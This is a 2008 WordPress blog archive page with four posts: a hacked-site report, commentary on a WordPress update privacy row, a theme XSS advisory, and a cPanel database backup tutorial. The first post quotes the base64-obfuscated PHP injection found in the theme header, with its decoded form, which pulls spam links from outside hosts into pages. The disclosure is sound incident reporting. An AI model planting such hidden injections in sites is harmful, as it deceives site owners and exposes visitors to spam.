ss_blog_claim=88d0a386a6277415f42c9ee5561ded98

Archive for the 'Wordpress' Category

So, I Got Hacked…

Or rather, my blog did.

You may remember there were posts floating about on the blogosphere earlier this month pertaining to an exploit in Wordpress 2.5 that individuals were using to inject malicious code into Wordpress files which would include spammy links into your page content. I just discovered that I was a victim of such an attack.

The code was placed in my theme’s header file, base64 encoded just as the article said it would be:
eval(base64_decode('ZnVuY3Rpb24gR2V0Q29udGVudCgpCnsKZXJyb3JfcmVwb3J0aW5nKDApOwokbWlycm9ycz1hcnJheSgiaHR0cDovL2xhcnJ5bWFnaWQuY29tL2xpbmtzLmh0bWwiLCAiaHR0cDovL
2xpbmstb3MuZnJlZWhvc3RpYS5jb20vbGlua3MuaHRtbCIsICJodHRwOi8vYmxvZy5ibHVlZmlyZS50di93cC1jb250ZW50L2xpbmtzLmh0bWwiKTsKZm9yZWFjaCgkbWlycm9ycyBhcyAkayA9PiAkdikKIC
AgIHsKICAgIGlmKCRjb250ZW50PWZpbGVfZ2V0X2NvbnRlbnRzKCR2KSkgYnJlYWs7CiAgICB9CmlmICgkY29udGVudD09IiIpe3JldHVybiAiPCEtLSBsaW5rcyBub3QgZm91bmQgLS0+Ijt9CnJldHVybiA
kY29udGVudDsKfQplY2hvIEdldENvbnRlbnQoKTsK'));

When decoded, the above code just so happens to be:
function GetContent() { error_reporting(0); $mirrors=array("http://larrymagid.com/links.html", "http://link-os.freehostia.com/links.html", "http://blog.bluefire.tv/wp-content/links.html"); foreach($mirrors as $k => $v) { if($content=file_get_contents($v)) break; } if ($content==""){return "";} return $content; } echo GetContent();

For the PHP illiterate among you readers, that code basically says to download a bunch of html files from suspicious sites containing spammy links (Viagra, Cialis, etc. among all else) and input them into my blog’s code.

The issue has now been fixed, and apologies to anyone who was affected by the problem.

Carry on.

If you liked this post, buy me a coffee!

Wordpress 2.3 Release Scandal: The Aftermath

After the Internet went crazy over the release of Wordpress 2.3 and with Wordpress 2.4 already on the horizon, plus the scandal that came to light about certain issues as the new release, codenamed Dexter, spying on it’s users; individuals have hit backs with claims such as Matt Mullenweg’s:

As mentioned in our release announcement, the update notification sends your blog URL, plugins, and version info when it checks api.wordpress.org for new and compatible updates. It does not include $_SERVER dumps, or any settings beyond version numbers (for checking compatibility), or your blog name, or your credit card number. We do provide a way of disabling this feature; in fact I link to one of the plugins in the release announcement and in my original response to Morty’s thread.

But it’s not all bad news - some things apparently went right with Wordpress 2.3. This isn’t the first scandal to rock Wordpress. It was previously found that Wordpress ‘intentionally violated Google Adwords TOS to make money‘. This article also just goes to show that even sometimes developers cross the line.

If you’re one of the many who are paranoid about sharing their information, then I suggest grabbing the 2 following plugins: Disable Wordpress version check and Disable Wordpress plugin updates. But don’t think Matt Mullenweg is the bad guy in this situation - some credit must go out to him for linking these plugins in his original posts elsewhere around the internet. If you’re simply fed up with Wordpress and this is the final straw - consider 9 Wordpress alternatives.

I didn’t write this article with the intention of flaming anybody or provoking an argument - I simply want to generate some discussion on the matter.

Your thoughts in the comments.

Technorati Tags: ,

If you liked this post, buy me a coffee!

Vulnerability Found in Redoable Wordpress Theme

An XSS vulnerability has been discovered in the popular Redoable theme (version 1.2) by Dean Robinson (which this blog happens to be running). A proof of concept and a temporary patch have been released by the finder of the flaw over in this post at redlevel.org. It is advised that you update as soon as possible.

I have patched my theme so for all you script kiddies out there, it simply means Go away and find someone else’s blog to exploit.

If you liked this post, buy me a coffee!

How-To: Backup Your Wordpress Database

Introduction

Okay, so too often this happens to everyone. Here’s the scenario - You’re writing your brand new post, you’ve just published it and you’ve put hours of work into it and you’re proud of your efforts. An hour later your host/provider has a server fart and your database and all your hard work goes down the drain. Your instant reaction is most likely rage. Your first thought is most likely: “there goes all my hard work! I can’t be motivated to write it again, so I’ll just sit back and wait until the urge builds up to rewrite the post.” And to think all of this grief could be saved with 5 minutes work. Here’s a few methods how:

Method One - cPanel

If you happen to be using a host that has cPanel, you can find the script I have written below to be quite useful for backing up your Wordpress database (or any other database for that matter, which is why I love it because it is not restricted to Wordpress). Either select the code, copy + paste it into a new file and save it as anything you want, as long as the extension of the file is .php. Otherwise, click the link below the code box to download the PHP source file. Simply change the file extension to .php and save it.

<?php
#!/usr/local/bin/php -q 
 
 
function get_database_file($database_name, $domain, $username, $password)
{
        //Construct the URL out of all our little pieces
        $url = 'http://' . $username . ':' . $password .'@'.  $domain .'/getsqlbackup/'. $database_name .'.gz';
        //Return the file's contents
        return(file_get_contents($url));
}
 
function send_database_file($to, $from, $subject, $message)
{
        global $database_name, $domain, $username, $password;
        $unique_sep = md5(uniqid(time()));
        $headers .= "From: $from\\n".
        "MIME-Version: 1.0\\nContent-Type: multipart/mixed;boundary=\\"$unique_sep\\";\\n".
        "charset=\\"iso-8859-1\\"\\nContent-Transfer-Encoding: 7bit\\n\\n" .
        "--$unique_sep\\n".
        "Content-Type: text/plain; charset=\\"iso-8859-1\\"\\n".
        "Content-Transfer-Encoding: 7bit\\n\\n".
        $message."\\n\\n".
        "--$unique_sep\\n".
        "Content-Type: gz; name=\\"wp.gz\\"\\n".
        "Content-Transfer-Encoding: base64\\n".
        "Content-Disposition: attachment\\n\\n";
        $file = get_database_file($database_name, $domain, $username, $password);
        $headers .= chunk_split(base64_encode($file)) . "--$unique_sep--\\n";
        if(mail($to, $subject, $message, $headers))
        {
                return true;
        }
        else
        {
                return false;
        }
}
 
$database_name = "<Database name without cPanel username Prefix (eg: user_wrdp1 without user_)>";
$domain = "yourdomain:2082"; // Do not change the port number (:2082)
$username = "cpanel_username";
$password = "cpanel_password";
$to = "your.email@domain.com";
$from = "backups@domain.com";
 
send_database_file($to, $from, $database_name ." Database Backup", "The backup of ". $database_name ." was performed at ". date("g:i A F j, Y"));
 
?>
 

Download this code: backup-sql-wp.phps

SECURITY WARNING

Now using your favourite FTP client, upload your newly created file In the directory under public_html/ or www/. I emphasised that because it is absolutely critical that this is where you upload it, otherwise you will be left open to someone being able to download your database information. And now we’re ready to roll onto the next step..

Now presuming you’ve either created a new php file or downloaded the file and renamed it, you need to login to cPanel and find the Cron Jobs icon. If you’re having trouble finding it, reference findcron.jpg for help. Note that the image you say may differ to your cPanel interface. Once you have found it, click it (duh) and youll be greeted with two buttons: Standard or Advaned. For now, choose standard and you’ll be greeted with a few boxes and inputs. See croninput.jpg for an idea of what you need to put in all these boxes. The settings I have selected in this image are that my backup will be emailed to me every day at 3am (Server Time). If you would like to change this, simply do so by using the boxes. If you have trouble understanding what to do, don’t hesitate to leave a comment or email me using the email page.

Method Two - Wordpress Plugin

So there’s many great plugins out there for Wordpress which can do everything from add ajax goodness on pages to backup your database, which is exactly what we want. For this tutorial, I have used WP-DB-Backup which was originally developed by skippy.net but was since abandoned and taken up by Austin Matzko and has since been rereleased for WP 2.1. Simply head on over to the WP-DP-Backup page, download the plugin and read the simple installation instructions. I would repost the incstructions here, but you can simply view them after you click the link. I myself have not used this plugin, as I am a faithful user of the above mentioned Method One.

Method Three - Wordpress Internal Backup

As far as I can tell from reading and watching a short video, this method makes the above mentioned Method Two of using a plugin obsolete (although having not used the plugin myself, it may offer extra functionality that the Wordpress Backup Tool does not). To save me explaining this method, a video on TubeTutorial which can be viewed via this link explains the method in great detail.

Conclusion

So there’s three methods to hopefully save you some grief in the long run if you do happen to lose your database(s). Just a quick shout out to the guys and girls at TubeTutorial for the use of their video in Method Three which is part of their series: 7 Essential Wordpress Hacks. It’s well worth a look.

If you feel I have missed anything in this guide drop me a line in the comments or use this revolutionary new technology called Email and get in contact, stranger.

Thanks for reading!

Technorati Tags: , ,

If you liked this post, buy me a coffee!




September 2008
M T W T F S S
« Jul    
1234567
891011121314
15161718192021
22232425262728
2930  

RSS  


Posts (RSS) Posts     Comments (RSS) Comments
 Add to Technorati Favorites


advertisements  






top commentators